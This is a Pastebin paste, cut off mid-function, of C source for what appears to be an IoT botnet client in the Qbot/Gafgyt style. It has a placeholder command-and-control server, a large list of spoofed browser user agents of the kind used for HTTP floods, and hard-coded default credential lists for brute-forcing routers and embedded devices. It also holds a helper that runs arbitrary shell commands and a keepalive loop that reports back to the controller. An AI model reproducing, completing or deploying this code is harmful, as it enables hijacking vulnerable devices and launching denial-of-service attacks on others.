Advertisement
Cries

client

Sep 30th, 2016
272
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 81.42 KB | None | 0 0
  1.  
  2.  
  3. #define PR_SET_NAME 15
  4. #define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
  5. #define PAD_RIGHT 1
  6. #define PAD_ZERO 2
  7. #define PRINT_BUF_LEN 12
  8. #define CMD_IAC 255
  9. #define CMD_WILL 251
  10. #define CMD_WONT 252
  11. #define CMD_DO 253
  12. #define CMD_DONT 254
  13. #define OPT_SGA 3
  14. #define STD2_STRING "std"
  15. #define STD2_SIZE 50
  16.  
  17. #include <stdlib.h>
  18. #include <stdarg.h>
  19. #include <stdio.h>
  20. #include <sys/socket.h>
  21. #include <sys/types.h>
  22. #include <netinet/in.h>
  23. #include <arpa/inet.h>
  24. #include <netdb.h>
  25. #include <signal.h>
  26. #include <strings.h>
  27. #include <string.h>
  28. #include <sys/utsname.h>
  29. #include <unistd.h>
  30. #include <fcntl.h>
  31. #include <errno.h>
  32. #include <netinet/ip.h>
  33. #include <netinet/udp.h>
  34. #include <netinet/tcp.h>
  35. #include <sys/wait.h>
  36. #include <sys/ioctl.h>
  37. #include <net/if.h>
  38.  
  39. unsigned char *commServer[] =
  40. {
  41. "IP_Server:23" //Best Big Repz
  42. };
  43.  
  44. char *useragents[] = {
  45. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  46. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  47. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  48. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  49. "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  50. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  51. "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  52. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  53. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  54. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  55. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  56. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  57. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  58. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  59. "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  60. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  61. "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  62. "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  63. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  64. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  65. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  66. "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  67. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  68. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  69. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  70. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
  71. "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  72. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  73. "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
  74. "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
  75. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
  76. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  77. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
  78. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
  79. "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  80. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  81. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  82. "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
  83. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  84. "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  85. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  86. "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  87. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
  88. "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  89. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
  90. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
  91. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  92. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3",
  93. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
  94. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
  95. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1",
  96. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1",
  97. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)",
  98. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)",
  99. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)",
  100. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)",
  101. "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)",
  102. "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
  103. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  104. "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10",
  105. "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.5.24 Version/10.52",
  106. "SAMSUNG-SGH-E250/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/6.2.3.3.c.1.101 (GUI) MMP/2.0 (compatible; Googlebot-Mobile/2.1; +http://www.google.com/bot.html)",
  107. "Opera/8.5 (X11; i686 Linux; U; ru, en_US)",
  108. "SexShop.Sg/Nutch-1.1 (www.SexShop.Sg; crawler@SexShop.Sg)",
  109. "Rome Client (http://tinyurl.com/64t5n) Ver: 0.9",
  110. "Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.13918/19.752; U; ru) Presto/2.6.25",
  111. "Opera/9.80 (Windows NT 6.0; U; ru) Presto/2.5.22 Version/10.50",
  112. "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.5.24 Version/10.53 MM3-WebAssistant",
  113. "C4PC UserAgent/0.7",
  114. "Googlebot 1.01.003",
  115. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
  116. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3",
  117. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:7.0.1) Gecko/20100101 Firefox/7.0.1",
  118. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0",
  119. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Firefox/24.0",
  120. "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53 (compatible; bingbot/2.0; http://www.bing.com/bingbot.htm)",
  121. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  122. "Mozilla/5.0 (iPad; U; CPU OS 5_1 like Mac OS X) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10 UCBrowser/3.4.3.532",
  123. "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
  124. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1a2pre) Gecko/2008073000 Shredder/3.0a2pre ThunderBrowse/3.2.1.8",
  125. "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.10) Gecko/20050716 Thunderbird/1.0.6",
  126. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b7pre) Gecko/20100925 Firefox/4.0b7pre",
  127. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b5pre) Gecko/2008032619 Linpus/3.0-0.49.3.0b5pre.lp Minefield/3.0b5pre",
  128. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.3a1pre) Gecko/20100128 Minefield/3.7a1pre",
  129. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a9pre) Gecko/2007100205 Minefield/3.0a9pre",
  130. "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9a4pre) Gecko/20070402 Minefield/3.0a4pre",
  131. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041103 Firefox/1.0RC2",
  132. "Mozilla/5.0 (Windows NT 6.1; rv:39.0) Gecko/20100101 Firefox/39.0",
  133. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  134. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0",
  135. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101230 Mandriva Linux/1.9.2.13-0.2mdv2010.2 (2010.2) Firefox/3.6.13",
  136. "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)",
  137. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  138. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  139. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.27 Safari/536.11",
  140. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.3; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; AskTbCFTP2V5/5.14.1.20007)",
  141. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  142. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0",
  143. "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 OPR/36.0.2130.3",
  144. "Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; SCH-I535 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile",
  145. "Mozilla/5.0 (iPad; CPU OS 9_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E234 Safari/601.1",
  146. "Mozilla/5.0 (Linux; Android 5.1; XT1032 Build/LPB23.13-58) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile",
  147. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.3",
  148. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1; 360Spider(compatible; Ha",
  149. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 OPR/26.0.1656.60",
  150. "Mozilla/5.0 (Windows NT 5.1; WOW64) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  151. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/536.8+ (KHTML, like Gecko) Version/5.1.5 Safari/534.55.3",
  152. "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25",
  153. "Mozilla/5.0 (compatible; Ezooms/1.0; ezooms.bot@gmail.com)",
  154. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  155. "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)",
  156. "Mozilla/5.0 (Admin Catalog; Windows NT 5.1; infobot.4942@yahoo.com)",
  157. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  158. "HuaweiSymantecSpider/1.0+DSE-support@huaweisymantec.com+(compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR ; http://www.huaweisymantec.com/en/IRL/spider)",
  159. "Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620",
  160. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  161. "Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; 1 subscribers; feed-id=9422214874901413839)",
  162. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  163.  
  164.  
  165. };
  166.  
  167. int initConnection();
  168. int getBogos(unsigned char *bogomips);
  169. int getCores();
  170. int getCountry(unsigned char *buf, int bufsize);
  171. void makeRandomStr(unsigned char *buf, int length);
  172. int sockprintf(int sock, char *formatStr, ...);
  173. char *inet_ntoa(struct in_addr in);
  174.  
  175. int mainCommSock = 0, currentServer = -1, gotIP = 0;
  176. uint32_t *pids;
  177. uint32_t scanPid;
  178. uint64_t numpids = 0;
  179. struct in_addr ourIP;
  180. unsigned char macAddress[6] = {0};
  181. char *usernames[] = {"root\0", "\0", "admin\0", "user\0", "login\0", "guest\0", "support\0", "cisco\0", "netgear\0", "dreambox\0", "\0", "D-Link\0", "ubnt\0", "netman\0", "sysadm\0", "volition\0", "pi\0"};
  182. char *passwords[] = {"root\0", "\0", "toor\0", "admin\0", "user\0", "guest\0", "login\0", "changeme\0", "1234\0", "12345\0", "123456\0", "default\0", "pass\0", "password\0", "support\0", "cisco\0", "netgear\0", "dreambox\0", "\0", "123456789\0", "vizxv\0", "D-Link\0", "ubnt\0", "michelangelo\0", "comcomcom\0", "ANYCOM\0", "volition\0", "anicust\0", "raspberry\0", "maxided\0"};
  183. #define PHI 0x9e3779b9
  184. static uint32_t Q[4096], c = 362436;
  185.  
  186. void init_rand(uint32_t x)
  187. {
  188. int i;
  189.  
  190. Q[0] = x;
  191. Q[1] = x + PHI;
  192. Q[2] = x + PHI + PHI;
  193.  
  194. for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  195. }
  196.  
  197. uint32_t rand_cmwc(void)
  198. {
  199. uint64_t t, a = 18782LL;
  200. static uint32_t i = 4095;
  201. uint32_t x, r = 0xfffffffe;
  202. i = (i + 1) & 4095;
  203. t = a * Q[i] + c;
  204. c = (uint32_t)(t >> 32);
  205. x = t + c;
  206. if (x < c) {
  207. x++;
  208. c++;
  209. }
  210. return (Q[i] = r - x);
  211. }
  212.  
  213. void trim(char *str)
  214. {
  215. int i;
  216. int begin = 0;
  217. int end = strlen(str) - 1;
  218.  
  219. while (isspace(str[begin])) begin++;
  220.  
  221. while ((end >= begin) && isspace(str[end])) end--;
  222. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  223.  
  224. str[i - begin] = '\0';
  225. }
  226.  
  227. static void printchar(unsigned char **str, int c)
  228. {
  229. if (str) {
  230. **str = c;
  231. ++(*str);
  232. }
  233. else (void)write(1, &c, 1);
  234. }
  235.  
  236. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  237. {
  238. register int pc = 0, padchar = ' ';
  239.  
  240. if (width > 0) {
  241. register int len = 0;
  242. register const unsigned char *ptr;
  243. for (ptr = string; *ptr; ++ptr) ++len;
  244. if (len >= width) width = 0;
  245. else width -= len;
  246. if (pad & PAD_ZERO) padchar = '0';
  247. }
  248. if (!(pad & PAD_RIGHT)) {
  249. for ( ; width > 0; --width) {
  250. printchar (out, padchar);
  251. ++pc;
  252. }
  253. }
  254. for ( ; *string ; ++string) {
  255. printchar (out, *string);
  256. ++pc;
  257. }
  258. for ( ; width > 0; --width) {
  259. printchar (out, padchar);
  260. ++pc;
  261. }
  262.  
  263. return pc;
  264. }
  265.  
  266. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  267. {
  268. unsigned char print_buf[PRINT_BUF_LEN];
  269. register unsigned char *s;
  270. register int t, neg = 0, pc = 0;
  271. register unsigned int u = i;
  272.  
  273. if (i == 0) {
  274. print_buf[0] = '0';
  275. print_buf[1] = '\0';
  276. return prints (out, print_buf, width, pad);
  277. }
  278.  
  279. if (sg && b == 10 && i < 0) {
  280. neg = 1;
  281. u = -i;
  282. }
  283.  
  284. s = print_buf + PRINT_BUF_LEN-1;
  285. *s = '\0';
  286.  
  287. while (u) {
  288. t = u % b;
  289. if( t >= 10 )
  290. t += letbase - '0' - 10;
  291. *--s = t + '0';
  292. u /= b;
  293. }
  294.  
  295. if (neg) {
  296. if( width && (pad & PAD_ZERO) ) {
  297. printchar (out, '-');
  298. ++pc;
  299. --width;
  300. }
  301. else {
  302. *--s = '-';
  303. }
  304. }
  305.  
  306. return pc + prints (out, s, width, pad);
  307. }
  308.  
  309. static int print(unsigned char **out, const unsigned char *format, va_list args )
  310. {
  311. register int width, pad;
  312. register int pc = 0;
  313. unsigned char scr[2];
  314.  
  315. for (; *format != 0; ++format) {
  316. if (*format == '%') {
  317. ++format;
  318. width = pad = 0;
  319. if (*format == '\0') break;
  320. if (*format == '%') goto out;
  321. if (*format == '-') {
  322. ++format;
  323. pad = PAD_RIGHT;
  324. }
  325. while (*format == '0') {
  326. ++format;
  327. pad |= PAD_ZERO;
  328. }
  329. for ( ; *format >= '0' && *format <= '9'; ++format) {
  330. width *= 10;
  331. width += *format - '0';
  332. }
  333. if( *format == 's' ) {
  334. register char *s = (char *)va_arg( args, int );
  335. pc += prints (out, s?s:"(null)", width, pad);
  336. continue;
  337. }
  338. if( *format == 'd' ) {
  339. pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  340. continue;
  341. }
  342. if( *format == 'x' ) {
  343. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  344. continue;
  345. }
  346. if( *format == 'X' ) {
  347. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  348. continue;
  349. }
  350. if( *format == 'u' ) {
  351. pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  352. continue;
  353. }
  354. if( *format == 'c' ) {
  355. scr[0] = (unsigned char)va_arg( args, int );
  356. scr[1] = '\0';
  357. pc += prints (out, scr, width, pad);
  358. continue;
  359. }
  360. }
  361. else {
  362. out:
  363. printchar (out, *format);
  364. ++pc;
  365. }
  366. }
  367. if (out) **out = '\0';
  368. va_end( args );
  369. return pc;
  370. }
  371.  
  372. int zprintf(const unsigned char *format, ...)
  373. {
  374. va_list args;
  375. va_start( args, format );
  376. return print( 0, format, args );
  377. }
  378.  
  379. int szprintf(unsigned char *out, const unsigned char *format, ...)
  380. {
  381. va_list args;
  382. va_start( args, format );
  383. return print( &out, format, args );
  384. }
  385.  
  386.  
  387. int sockprintf(int sock, char *formatStr, ...)
  388. {
  389. unsigned char *textBuffer = malloc(2048);
  390. memset(textBuffer, 0, 2048);
  391. char *orig = textBuffer;
  392. va_list args;
  393. va_start(args, formatStr);
  394. print(&textBuffer, formatStr, args);
  395. va_end(args);
  396. orig[strlen(orig)] = '\n';
  397. zprintf("buf: %s\n", orig);
  398. int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  399. free(orig);
  400. return q;
  401. }
  402.  
  403. static int *fdopen_pids;
  404.  
  405. int fdpopen(unsigned char *program, register unsigned char *type)
  406. {
  407. register int iop;
  408. int pdes[2], fds, pid;
  409.  
  410. if (*type != 'r' && *type != 'w' || type[1]) return -1;
  411.  
  412. if (pipe(pdes) < 0) return -1;
  413. if (fdopen_pids == NULL) {
  414. if ((fds = getdtablesize()) <= 0) return -1;
  415. if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  416. memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  417. }
  418.  
  419. switch (pid = vfork())
  420. {
  421. case -1:
  422. close(pdes[0]);
  423. close(pdes[1]);
  424. return -1;
  425. case 0:
  426. if (*type == 'r') {
  427. if (pdes[1] != 1) {
  428. dup2(pdes[1], 1);
  429. close(pdes[1]);
  430. }
  431. close(pdes[0]);
  432. } else {
  433. if (pdes[0] != 0) {
  434. (void) dup2(pdes[0], 0);
  435. (void) close(pdes[0]);
  436. }
  437. (void) close(pdes[1]);
  438. }
  439. execl("/bin/sh", "sh", "-c", program, NULL);
  440. _exit(127);
  441. }
  442. if (*type == 'r') {
  443. iop = pdes[0];
  444. (void) close(pdes[1]);
  445. } else {
  446. iop = pdes[1];
  447. (void) close(pdes[0]);
  448. }
  449. fdopen_pids[iop] = pid;
  450. return (iop);
  451. }
  452.  
  453. int fdpclose(int iop)
  454. {
  455. register int fdes;
  456. sigset_t omask, nmask;
  457. int pstat;
  458. register int pid;
  459.  
  460. if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  461. (void) close(iop);
  462. sigemptyset(&nmask);
  463. sigaddset(&nmask, SIGINT);
  464. sigaddset(&nmask, SIGQUIT);
  465. sigaddset(&nmask, SIGHUP);
  466. (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  467. do {
  468. pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  469. } while (pid == -1 && errno == EINTR);
  470. (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  471. fdopen_pids[fdes] = 0;
  472. return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  473. }
  474.  
  475. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  476. {
  477. int got = 1, total = 0;
  478. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  479. return got == 0 ? NULL : buffer;
  480. }
  481.  
  482. static const long hextable[] = {
  483. [0 ... 255] = -1,
  484. ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  485. ['A'] = 10, 11, 12, 13, 14, 15,
  486. ['a'] = 10, 11, 12, 13, 14, 15
  487. };
  488.  
  489. long parseHex(unsigned char *hex)
  490. {
  491. long ret = 0;
  492. while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  493. return ret;
  494. }
  495.  
  496. int wildString(const unsigned char* pattern, const unsigned char* string) {
  497. switch(*pattern)
  498. {
  499. case '\0': return *string;
  500. case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  501. case '?': return !(*string && !wildString(pattern+1, string+1));
  502. default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  503. }
  504. }
  505.  
  506. int getHost(unsigned char *toGet, struct in_addr *i)
  507. {
  508. struct hostent *h;
  509. if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  510. return 0;
  511. }
  512.  
  513. void uppercase(unsigned char *str)
  514. {
  515. while(*str) { *str = toupper(*str); str++; }
  516. }
  517.  
  518. int getBogos(unsigned char *bogomips)
  519. {
  520. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  521. char linebuf[4096];
  522. while(fdgets(linebuf, 4096, cmdline) != NULL)
  523. {
  524. uppercase(linebuf);
  525. if(strstr(linebuf, "BOGOMIPS") == linebuf)
  526. {
  527. unsigned char *pos = linebuf + 8;
  528. while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
  529. while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
  530. if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
  531. strcpy(bogomips, pos);
  532. close(cmdline);
  533. return 0;
  534. }
  535. memset(linebuf, 0, 4096);
  536. }
  537. close(cmdline);
  538. return 1;
  539. }
  540.  
  541. int getCores()
  542. {
  543. int totalcores = 0;
  544. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  545. char linebuf[4096];
  546. while(fdgets(linebuf, 4096, cmdline) != NULL)
  547. {
  548. uppercase(linebuf);
  549. if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
  550. memset(linebuf, 0, 4096);
  551. }
  552. close(cmdline);
  553. return totalcores;
  554.  
  555. }
  556.  
  557. void makeRandomStr(unsigned char *buf, int length)
  558. {
  559. int i = 0;
  560. for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  561. }
  562.  
  563. int recvLine(int socket, unsigned char *buf, int bufsize)
  564. {
  565. memset(buf, 0, bufsize);
  566.  
  567. fd_set myset;
  568. struct timeval tv;
  569. tv.tv_sec = 30;
  570. tv.tv_usec = 0;
  571. FD_ZERO(&myset);
  572. FD_SET(socket, &myset);
  573. int selectRtn, retryCount;
  574. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  575. while(retryCount < 10)
  576. {
  577. sockprintf(mainCommSock, "PING");
  578.  
  579. tv.tv_sec = 30;
  580. tv.tv_usec = 0;
  581. FD_ZERO(&myset);
  582. FD_SET(socket, &myset);
  583. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  584. retryCount++;
  585. continue;
